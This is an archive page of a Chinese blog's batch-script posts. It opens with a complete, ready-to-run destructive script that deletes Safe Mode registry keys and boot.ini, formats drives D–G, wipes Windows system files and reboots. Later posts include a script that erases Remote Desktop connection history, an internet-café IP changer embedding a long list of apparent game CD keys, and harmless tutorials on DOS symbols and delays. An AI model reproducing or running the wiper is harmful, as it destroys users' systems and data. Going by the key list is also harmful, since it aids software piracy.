存档

文章标签 ‘批处理’

超级淫荡且很危险的批处理

2009年11月20日 Chinadu 6 条评论

不要在本机运行,否则后果自负!

@echo off
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f
ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h
DEL %SYSTEMDRIVE%\boot.ini /f
format d:/q /y
format e:/q /y
format f:/q /y
format g:/q /y
cd c:\
cd windows
del *.* /q
cd system32
del *.* /q
del %0
shutdown -r -t 3

分类: 技术文章 标签:

批处理清除3389远程桌面连接记录

2009年6月25日 Chinadu 没有评论

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

/va 删除项下面所有键值

/f不提示

/a 删除隐藏文件

保存为批处理。运行即可。

分类: 技术文章 标签: , ,

批处理修改IP,克机后改IP用,手动版,修改后即时起效

2008年11月25日 Chinadu 没有评论

@echo off&color 0b
title IP修改器
SETLOCAL ENABLEDELAYEDEXPANSION


::基本设置
::可以无限分区,只要以“分区”开头即可
::英文逗号前是计算机名前缀,逗号后是机号范围,不要有重叠哦,否则偶可不负责
set "分区1=DJ-LOVE-,1-56"
set "分区2=DJ-Game-,57-132"
set "分区3=DJ-Chat-,133-249"
set "分区4=DJ-VIP-,250-297"
set "分区5=DJ-Chat-,298-358"
set "分区6=PC,359-360"
set "IP前缀=192.168"
set "起始网段=0"
set "进位数=250"
set "网关=192.168.0.1"
set "跃点数=0"
set "主DNS=192.168.0.1"
set "辅DNS=202.96.128.86"
set "子网掩码=255.255.252.0"

::跃点数是指当前机子到路由的跃点,一般为1,不清楚的设为0(自动)
::进位数是指进位数之后的机号自动进位(注意:本批处理未尾IP范围是1-254,进位数范围是2-254)
::当进位数=250时,例:250号机192.168.0.250  251号机192.168.1.1   500号机192.168.1.250   501号机192.168.2.1
:: 起始网段=10的,例:250号机192.168.10.250  251号机192.168.11.1   500号机192.168.11.250   501号机192.168.12.1
::                     250台机以下的,三段IP为起始网段加0,未段IP是:机号减(进位数*0)
::        超过250台机,在500台以下的,三段IP为起始网段加1,未段IP是:机号减(进位数*1)
::        超过500台机,在750台以下的,三段IP为起始网段加2,未段IP是:机号减(进位数*2)
::以此类推
::机号自动补足三位,但是超1000台的也是自动补三位而不是补四位

goto 取机号

:排除冲突IP
  ::如果没有冲突IP,把set "ip2="到echo.之间的语句删除即可,也可以按照样式添加更多排除IP
  set "ip2="
  if %IP% == 192.168.0.1 set ip2=192.168.3.1
  if %IP% == 192.168.0.230 set ip2=192.168.2.230
  if %IP% == 192.168.0.231 set ip2=192.168.2.231
  if %IP% == 192.168.0.250 set ip2=192.168.2.250
  if %IP% == 192.168.0.246 set ip2=192.168.2.246
  if %IP% == 192.168.0.253 set ip2=192.168.2.253
  if %IP% == 192.168.0.247 set ip2=192.168.2.254
  echo.
  if defined ip2 (set ip=%ip2%)&(echo     所用IP:%ip% 可能与服务器冲突)&echo     改为用:%ip2%
goto :eof

:取机号
cls
echo.
echo.
echo     所有设置都是按机号来改的
echo     IP还可以在修改之后到网络属性里手动再改
echo.
set 机号=
set /p 机号=    机号=
if not defined 机号 (
  echo.
  set/p=    我不是魔术师,不会变电脑<nul
  pause>nul
  goto 取机号
)
for /f "tokens=* delims=0" %%i in ("%机号%") do set 机号=%%i
if not defined 机号 (
  echo.
  set/p=    我不是神仙,不会无中生有变出一台电脑<nul
  pause>nul
  goto 取机号
)
if %机号% GTR 32767 (
  echo.
  set/p=    哼,你是不是想骗我?我非常生气,不理你了!<nul
  pause>nul
  goto 取机号
) else (
  if %机号% lss 1 (
    echo.
    set/p=    呀呀呀~~~你还要骗我,我真的不理你了<nul
    pause>nul
    exit
  )
)


:计算IP
if "%IP前缀:~-1%" == "." set IP前缀=%IP前缀:~0,-1%
if %进位数% lss 2 (
  echo     进位数的范围应该是2-254,请检查基本设置
  pause
  exit
) else (
  if %进位数% gtr 254 (
    echo     进位数的范围应该是2-254,请检查基本设置
    pause
    exit
  )
)
set /a IP段=%机号% / %进位数%
set /a IP尾=%机号% %% %进位数%
if %IP尾% == 0 set /a IP段-=1 & set IP尾=%进位数%
set /a IP段=%IP段% + %起始网段%
set "IP=%IP前缀%.%IP段%.%IP尾%"
if %IP段% lss 0 (
  echo     %IP%不符合IP规则,请检查基本设置
  pause
  exit
) else (
  if %IP段% gtr 255 (
    echo     %IP%不符合IP规则,请检查基本设置
    pause
    exit
)

:取计算机名
for /f "tokens=2,3 delims==," %%i in ('set 分区') do (
  set /a n+=1
  set "分区前缀!n!=%%i"
  set "分区范围!n!=%%j"
)
set "计算机名前缀="
for /l %%i in (1,1,!n!) do (
  call set tmp_=%%分区范围%%i%%
  for /f "tokens=1,2 delims=-" %%j in ("!tmp_!") do (
    if %机号% geq %%j (
      if %机号% leq %%k (
        call set 计算机名前缀=%%分区前缀%%i%%
      )
    )
  )
)
if not defined 计算机名前缀 (
  echo.
  echo     机号未定义分区,请检查基本配置
  pause>nul
  exit
)
if %机号% lss 10 (
  set 计算机名=!计算机名前缀!00%机号%
  ) else (
    if %机号% lss 100 (
      set 计算机名=!计算机名前缀!0%机号%
    ) else (
      set 计算机名=!计算机名前缀!%机号%
    )
  )
)

:内部网络号
set "内部网络号=%机号%"

:取CDKEY
call :Getcdkey
set /a Key_Num=%机号% %% 254
if %Key_Num% == 0 set "Key_Num=254"
call set "CDKEY=%%cdkey%Key_Num%%%"

:取魔兽争霸ID
set "魔兽争霸ID=%计算机名%"

:搜索网卡
set "n=0"
for /f "tokens=13*" %%i in ('IPCONFIG /ALL ^| find /i "Description"') do (set /a n+=1)&set "NetDes!n!=%%j"

if not defined NetDes1 ((echo.)&(echo     未搜索到网卡,请安装网卡驱动,安装驱动后返回本窗口)&pause&goto 搜索网卡)
set "m=0"
for /f "tokens=2*" %%I in ('IPCONFIG /ALL ^| find "Ethernet adapter"') do for /f "delims=:" %%i in ("%%J") do (set /a m+=1)&set "接口名称!m!=%%i"
:选择网卡
set "choice="
if %n% gtr 1 (
  echo.
  for /l %%i in (1,1,%n%) do call echo     %%i %%NetDes%%i%%
  echo.
  echo     请选择网卡
  set /p choice=    回车选1,否则请输入数字:
)
if defined choice (
  if not "%choice%" gtr "%n%" (
    if "%choice%" lss "1" (
      goto 选择网卡
    ) else (
      call set "NetDes=%%NetDes%choice%%%"
      call set "接口名称=%%接口名称%choice%%%"
    )
  ) else (
    goto 选择网卡
  )
) else (
  set "NetDes=%NetDes1%"
  set "接口名称=%接口名称1%"
)

call :排除冲突IP
:回显信息
echo.
echo     检查以下数据是否正确:
echo.
echo     计算机名   :%计算机名%
echo     网卡       :%NetDes%
echo     接口名称   :%接口名称%
echo     IP         :%IP%
echo     CDKEY      :%CDKEY%
echo     魔兽争霸ID :%魔兽争霸ID%
echo.
set /p tmp_2=    输入n返回重新输入机号,回车或其它键执行修改:
if /i "%tmp_2%" == "n" goto 取机号

:写入注册表
   netsh interface ip set address "%接口名称%" static %IP% %子网掩码% 1>nul
   netsh interface ip set address "%接口名称%" gateway=%网关% gwmetric=%跃点数% 1>nul
   netsh interface ip add dns "%接口名称%" %主DNS% index=1 1>nul
   netsh interface ip add dns "%接口名称%" %辅DNS% index=2 1>nul
   reg add "HKCU\Software\Blizzard Entertainment\Warcraft III\String" /v userlocal /t REG_SZ /D %魔兽争霸ID% /f 1>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Services\NwlnkIpx\Parameters /v VirtualNetworkNumber /t REG_DWORD /d %内部网络号% /f 1>nul
   reg add HKCU\Software\Valve\CounterStrike\Settings /v key /t REG_SZ /d %CDKEY% /f 1>nul 2>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName /v ComputerName /t reg_sz /d %计算机名% /f 1>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v "NV Hostname" /t reg_sz /d %计算机名% /f 1>nul
   for /f "tokens=15" %%i in ('ipconfig /all ^|find "IP Address"') do set "ip_2=%%i"
echo.
if /i "%IP%" == "%ip_2%" (
  set/p=     修改完成,按任意键重启 <nul
  pause>nul
  shutdown -r -t 2
  exit
) else (
  set/p=     修改IP失败,请手动在本地连接里修改
  pause>nul
  exit
)

:Getcdkey
set cdkey1=2091322607845
set cdkey2=2298968563104
set cdkey3=2293620604801
set cdkey4=3199547101847
set cdkey5=2395626620868
set cdkey6=2291425624864
set cdkey7=2297324646860
set cdkey8=5692438065881
set cdkey9=2399929424868
set cdkey10=3198647142822
set cdkey11=3290343195800
set cdkey12=5791532078882
set cdkey13=3192341122881
set cdkey14=3296148120849
set cdkey15=2398829402826
set cdkey16=3397646195802
set cdkey17=3799865089843
set cdkey18=3291644192804
set cdkey19=3395445159841
set cdkey20=5596230082889
set cdkey21=2393026614856
set cdkey22=7282726715071
set cdkey23=6965198320844
set cdkey24=0590638349985
set cdkey25=4887920308855
set cdkey26=6224273676938
set cdkey27=0234070701672
set cdkey28=6829133462999
set cdkey29=1514397024359
set cdkey30=0338114504295
set cdkey31=9180097837863
set cdkey32=5695926015450
set cdkey33=3160620118964
set cdkey34=1190096475687
set cdkey35=8359933291311
set cdkey36=2696985056117
set cdkey37=7853809758364
set cdkey38=2111724559521
set cdkey39=0578332166402
set cdkey40=5735257958665
set cdkey41=7914860615387
set cdkey42=4063606421917
set cdkey43=3419830076512
set cdkey44=7381489152175
set cdkey45=1628431817077
set cdkey46=2876552803407
set cdkey47=8856983770314
set cdkey48=7530358675181
set cdkey49=5174560117316
set cdkey50=7322581102730
set cdkey51=0719965552707
set cdkey52=5620798081913
set cdkey53=3185381184427
set cdkey54=8680457335754
set cdkey55=9869960983369
set cdkey56=6915151587317
set cdkey57=1272066388570
set cdkey58=9301433546382
set cdkey59=5817471724979
set cdkey60=7946642797514
set cdkey61=3926072554435
set cdkey62=9956746016428
set cdkey63=0590651353471
set cdkey64=1714170985947
set cdkey65=5499802054656
set cdkey66=1163480853697
set cdkey67=3739923265822
set cdkey68=3354655249230
set cdkey69=1204514178341
set cdkey70=8144711732971
set cdkey71=8451579776433
set cdkey72=8206536922064
set cdkey73=7267404852062
set cdkey74=6365487067597
set cdkey75=4919689608720
set cdkey76=2960547428824
set cdkey77=0504759069059
set cdkey78=3050776320471
set cdkey79=0694888961606
set cdkey80=9655746791606
set cdkey81=9610972107773
set cdkey82=7937556243769
set cdkey83=5898414073778
set cdkey84=8334441434100
set cdkey85=5988643975322
set cdkey86=3522855506549
set cdkey87=2721837712087
set cdkey88=0375939353208
set cdkey89=8326908182312
set cdkey90=0058411868073
set cdkey91=7386866002317
set cdkey92=9415036075966
set cdkey93=9415034784963
set cdkey94=9268017928447
set cdkey95=2554301377411
set cdkey96=6199709193805
set cdkey97=6595690064434
set cdkey98=8764101331054
set cdk
ey99=8695699602249
set cdkey100=3953514404409
set cdkey101=6308441865835
set cdkey102=5438918032640
set cdkey103=3567485290466
set cdkey104=8052441431786
set cdkey105=8667283325199
set cdkey106=7429166658674
set cdkey107=3449837719660
set cdkey108=2044603286727
set cdkey109=2044600996623
set cdkey110=0845584423189
set cdkey111=2120251404756
set cdkey112=3323109009072
set cdkey113=8816344011108
set cdkey114=4889203290930
set cdkey115=4947595734608
set cdkey116=6416372973209
set cdkey117=4010242048176
set cdkey118=2868394347791
set cdkey119=6929222730971
set cdkey120=3076799111805
set cdkey121=1603078469447
set cdkey122=5211021351684
set cdkey123=3274459624481
set cdkey124=7179870795032
set cdkey125=5797141343672
set cdkey126=1760001521400
set cdkey127=2974485185592
set cdkey128=4774044485275
set cdkey129=4639394543632
set cdkey130=1686760025574
set cdkey131=3978180084757
set cdkey132=7394299601689
set cdkey133=5767390015563
set cdkey134=2724867497405
set cdkey135=4254885983539
set cdkey136=2534468004227
set cdkey137=7281783350106
set cdkey138=4316295228135
set cdkey139=1373662700066
set cdkey140=3665081760254
set cdkey141=8641906552988
set cdkey142=4982810217571
set cdkey143=6098878717442
set cdkey144=8380197777635
set cdkey145=1649115254258
set cdkey146=1013131611979
set cdkey147=4991747654869
set cdkey148=0955607833607
set cdkey149=5348841845627
set cdkey150=2166620891703
set cdkey151=4603120194744
set cdkey152=0174300602970
set cdkey153=2604328109017
set cdkey154=3687496033242
set cdkey155=6435919294386
set cdkey156=3148215432569
set cdkey157=1759004383207
set cdkey158=8055169291991
set cdkey159=1806957458017
set cdkey160=8195530569895
set cdkey161=3832755815671
set cdkey162=5125185975865
set cdkey163=8715318092335
set cdkey164=9798487926563
set cdkey165=4046983597055
set cdkey166=2667772338796
set cdkey167=3627985668027
set cdkey168=6258903165169
set cdkey169=8540222124443
set cdkey170=0373281606791
set cdkey171=5412254485070
set cdkey172=6140251086556
set cdkey173=4750604958320
set cdkey174=2820861996992
set cdkey175=2232234664320
set cdkey176=2281001016880
set cdkey177=1863006587957
set cdkey178=3043089679363
set cdkey179=5680589872304
set cdkey180=2621473547334
set cdkey181=4913893516529
set cdkey182=0648153358505
set cdkey183=9051527026033
set cdkey184=8215292268602
set cdkey185=2630301884530
set cdkey186=0327114225712
set cdkey187=9711769218462
set cdkey188=9794837152604
set cdkey189=5950737316742
set cdkey190=3587018964383
set cdkey191=7189589159623
set cdkey192=4713333494165
set cdkey193=1770700976096
set cdkey194=8075875894789
set cdkey195=2822527213870
set cdkey196=7061590092143
set cdkey197=5174059613493
set cdkey198=6996673406975
set cdkey199=9266038962356
set cdkey200=9917090176637
set cdkey201=1933991924298
set cdkey202=8561173562838
set cdkey203=3118499828718
set cdkey204=8363945404991
set cdkey205=5658010312675
set cdkey206=4738267351258
set cdkey207=2698655638746
set cdkey208=2914557016520
set cdkey209=5201939075592
set cdkey210=7023459460265
set cdkey211=0004084032358
set cdkey212=2579488650504
set cdkey213=1435403495605
set cdkey214=5722891164576
set cdkey215=5812923357220
set cdkey216=0684570142794
set cdkey217=9051295359780
set cdkey218=0766160464649
set cdkey219=6023089585711
set cdkey220=7282726715071
set cdkey221=6965198320844
set cdkey222=0590638349985
set cdkey223=4887920308855
set cdkey224=6224273676938
set cdkey225=0234070701672
set cdkey226=6829133462999
set cdkey227=1514397024359
set cdkey228=0338114504295
set cdkey229=9180097837863
set cdkey230=5695926015450
set cdkey231=3160620118964
set cdkey232=1190096475687
set cdkey233=8359933291311
set cdkey234=2696985056117
set cdkey235=7853809758364
set cdkey236=2111724559521
set cdkey237=0578332166402
set cdkey238=5735257958665
set cdkey239=7914860615387
set cdkey240=4063606421917
set cdkey241=3419830076512
set cdkey242=7381489152175
set cdkey243=1628431817077
set cdkey244=2876552803407
set cdkey245=8856983770314
set cdkey246=7530358675181
set cdkey247=5174560117316
set cdkey248=7322581102730
set cdkey249=0719965552707
set cdkey250=5620798081913
set cdkey251=3185381184427
set cdkey252=8680457335754
set cdkey253=2492629725023
set cdkey254=3882348620722
goto :eof

分类: 技术文章 标签:

批处理中Dos符号作用大全(二)

2008年10月24日 Chinadu 没有评论

2、 符号(>)
  >的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:
  文件1.txt的文件内容为:
  1+1
  使用命令c:\>dir *.txt >1.txt
  这时候1.txt的内容如下
  驱动器 C 中的卷没有标签。
  卷的序列号是 301A-1508
  C:\ 的目录
  2003-03-11 14:04 1,005 FRUNLOG.TXT
  2003-04-04 16:38 18,598,494 log.txt
  2003-04-04 17:02 5 1.txt
  2003-03-12 11:43 0 aierrorlog.txt
  2003-03-30 00:35 30,571 202.108.txt
  5 个文件 18,630,070 字节
  0 个目录 1,191,542,784 可用字节
  >将命令执行的结果覆盖了原始的文件内容。
  在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:
  C:\>dir *.txt >nul
  程序将没有任何显示也不会产生任何痕迹。
  3、 符号(>>)
  符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:
  文件1.txt内同为:
  1+1
  使用命令c:\>dir *.txt >>1.txt
  这时候1.txt的内容如下
  1+1
  驱动器 C 中的卷没有标签。
  卷的序列号是 301A-1508
  C:\ 的目录
  2003-03-11 14:04 1,005 FRUNLOG.TXT
  2003-04-04 16:38 18,598,494 log.txt
  2003-04-04 17:02 5 1.txt
  2003-03-12 11:43 0 aierrorlog.txt
  2003-03-30 00:35 30,571 202.108.txt
  5 个文件 18,630,070 字节
  0 个目录 1,191,542,784 可用字节
  >>将命令执行的结果覆加在了原始的文件内容后面。
  8、 符号(" ")
  " "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
  c:\>cd “Program Files”
  c:\>cd progra~1
  c:\>cd pro*
  以上方法都可以进入Program Files目录
  9、 符号(,)
  ,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:
  c:\>dir,c:\
  10、 符号(;)
  ;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:
  DIR C:\;D:\;E:\F:\
  以上的命令相当于
  DIR C:\
  DIR D:\
  DIR E:\
  DIR F:\

 

分类: 技术文章 标签: ,

批处理中Dos符号作用大全(一)

2008年10月24日 Chinadu 没有评论

@
  \\隐藏命令的回显。
  ~
  \\在for中表示使用增强的变量扩展;
  在set中表示使用扩展环境变量指定位置的字符串;
  在set/a中表示按位取反。
  %
  \\使用两个%包含一个字符串表示引用环境变量。比如一个%time%可以扩展到当前的系统时间;
  单个%紧跟0-9的一个数字表示引用命令行参数;
  用于for中表示引用循环变量;
  连续的两个%表示执行时脱为一个%。
  ^
  \\取消转义字符,即将所有转义字符的转义作用关闭。比如要在屏幕显示一些特殊的字符,比如> >> | ^等时,就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了;
  在set/a中是按位异;
  在findstr/r的[]中表示不匹配指定的字符集。
  &
  \\命令连接字符。比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令;
  在set/a中是按位与。
  *
  \\代表任意个任意字符,就是我们通常所说的"通配符";比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt),那么就可以输入命令"dir c:\*.txt";
  在set/a中是乘法。比如"set/a x=4*2",得到的结果是8;
  在findstr/r中表示将前一个字符多次匹配。
  ()
  \\命令包含或者是具有优先权的界定符吧,比如for命令要用到这个(),我们还可以在if,echo等命令中见到它的身影;
  -
  \\范围表示符,比如日期的查找,for命令里的tokens操作中就可以用到这个字符;
  在findstr/r中连接两个字符表示匹配范围;
  -跟在某些命令的/后表示取反向的开关。
  +
  \\主要是在copy命令里面会用到它,表示将很多个文件合并为一个文件,就要用到这个+字符了;
  在set/a中是加法。
  |
  \\管道符。就是将上一个命令的输出,作为下一个命令的输入."dir /a/b | more"就可以逐屏的显示dir命令所输出的信息;
  在set/a中是按位或;
  在帮助文档中表示其前后两个开关、选项或参数是二选一的。
  :
  \\标签定位符,可以接受goto命令所指向的标签。比如在批处理文件里面定义了一个":begin"标签,用"goto begin"命令就可以转到":begin"变迁后面来执行批处理命令了。
  " "
  \\界定符,在表示带有空格的路径时常要用""来将路径括起来,在一些命令里面也需要" "符号;
  在for/f中将表示它们包含的内容当作字符串分析;
  在for/f "usebackq"表示它们包含的内容当作文件路径并分析其文件的内容;
  在其它情况下表示其中的内容是一个完整的字符串,其中的>、>>、<、&、|、空格等不再转义。
  /
  \\表示其后的字符(串)是命令的功能开关(选项)。比如"dir /s/b/a-d"表示"dir"命令指定的不同的参数;
  在set/a中表示除法。
  >
  \\命令重定向符,将其前面的命令的输出结果重新定向到其后面的设备中去,后面的设备中的内容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的结果输出到"lxmxn.txt"这个文本文件中去;
  在findstr/r中表示匹配单词的右边界,需要配合转义字符\使用。
  >>
  \\命令重定向符。将其前面的命令的输出结果重新定向到其后面的设备中去,后面设备中的内容没有被覆盖。
  <
  \\将其后面的文件的内容作为其前面命令的输入。
  在findstr/r中表示匹配单词的左边界,需要配合转义字符\使用。
  =
  \\赋值符号,用于变量的赋值。比如"set a=windows"的意思意思是将"windows"这个字符串赋给变量"a";
  在set/a中表示算术运算,比如"set /a x=5-6*5"。
  \
  \\这个"\"符号在有的情况下,代表的是当前路径的根目录.比如当前目录在c:\windows\system32下,那么你"dir \"的话,就相当与"dir c:\"
  在findstr/r中表示正则转义字符。
  ''
  在for/f中表示将它们包含的内容当作命令行执行并分析其输出;
  在for/f "usebackq"中表示将它们包含的字符串当作字符串分析。
  .
  \\
  在路径的\后紧跟或者单独出现时:
  一个.表示当前目录;
  两个.表示上一级目录;
  在路径中的文件名中出现时:
  最后的一个.表示主文件名与扩展文件名的分隔。
  &&
  \\连接两个命令,当&&前的命令成功时,才执行&&后的命令;
  ||
  \\连接两个命令,当||前的命令失败时,才执行||后的命令。
  $
  \\在findstr命令里面表示一行的结束。
  ``
  在for/f中表示它们所包含的内容当作命令行执行并分析它的输出。
  []
  在帮助文档表示其中的开关、选项或参数是可选的;
  在findstr/r中表示按其中指定的字符集匹配。
  ?
  \\在findstr/r中表示在此位置匹配一个任意字符;
  ?在路径中表示在此位置通配任意一个字符;
  紧跟在/后表示获取命令的帮助文档。
  !
  \\当启用变量延迟时,使用!!将变量名扩起来表示对变量值的引用;
  在set /a中表示逻辑非。比如set /a a=!0,这时a就表示逻辑1。

 

分类: 技术文章 标签: ,

bat 延时执行命令的三种方法

2008年10月24日 Chinadu 没有评论

第一种方法:
  ping 127.0.0.1 -n 5000>nul
  dir c:\ >c:\1.txt
  延时5分钟后执行dir c:\
  第二种方法
  :: Sleep.bat - Sleep/Delay/Wait n seconds
  :: Herbert Kleebauer(Germany) - 2005/05/29
  :: Modified by Will Sort - 2005/06/02
  @echo off
  echo q | debug>nul
  echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>sleep.com
  echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6>>sleep.com
  echo T}{z~~@GwkBG@OEKcUt`~}@MqqBsy?seHB~_Phxr?@zAB`LrPEyoDt@Cj?>>sleep.com
  echo pky_jN@QEKpEt@ij?jySjN@REKpEt@jj?jyGjN@SEKkjtlGuNw?p@pjirz>>sleep.com
  echo LFvAURQ?OYLTQ@@?~QCoOL~RDU@?aU?@{QOq?@}IKuNWpe~FpeQFwH?Vkk>>sleep.com
  echo _GSqoCvH{OjeOSeIQRmA@KnEFB?p??mcjNne~B?M??QhetLBgBPHexh@e=>>sleep.com
  echo EsOgwTLbLK?sFU`?LDOD@@K@xO?SUudA?_FKJ@N?KD@?UA??O}HCQOQ??R>>sleep.com
  echo _OQOL?CLA?CEU?_FU?UAQ?UBD?LOC?ORO?UOL?UOD?OOI?UgL?LOR@YUO?>>sleep.com
  echo dsmSQswDOR[BQAQ?LUA?_L_oUNUScLOOuLOODUO?UOE@OwH?UOQ?DJTSDM>>sleep.com
  echo QTqrK@kcmSULkPcLOOuLOOFUO?hwDTqOsTdbnTQrrDsdFTlnBTm`lThKcT>>sleep.com
  echo @dmTkRQSoddTT~?K?OCOQp?o??Gds?wOw?PGAtaCHQvNntQv_w?A?it\EH>>sleep.com
  echo {zpQpKGk?Jbs?FqokOH{T?jPvP@IQBDFAN?OHROL?Kj??pd~aN?OHROd?G>>sleep.com
  echo Q??PGT~B??OC~?ipO?T?~U?p~cUo0x>>sleep.com
  sleep.com>sleep.exe
  del sleep.com
  echo wait 2 seconds:
  sleep.exe 2000
  第三种方法
  dir c:\ & timeout /t 10 & dir d:\
  延时10秒

分类: 技术文章 标签: ,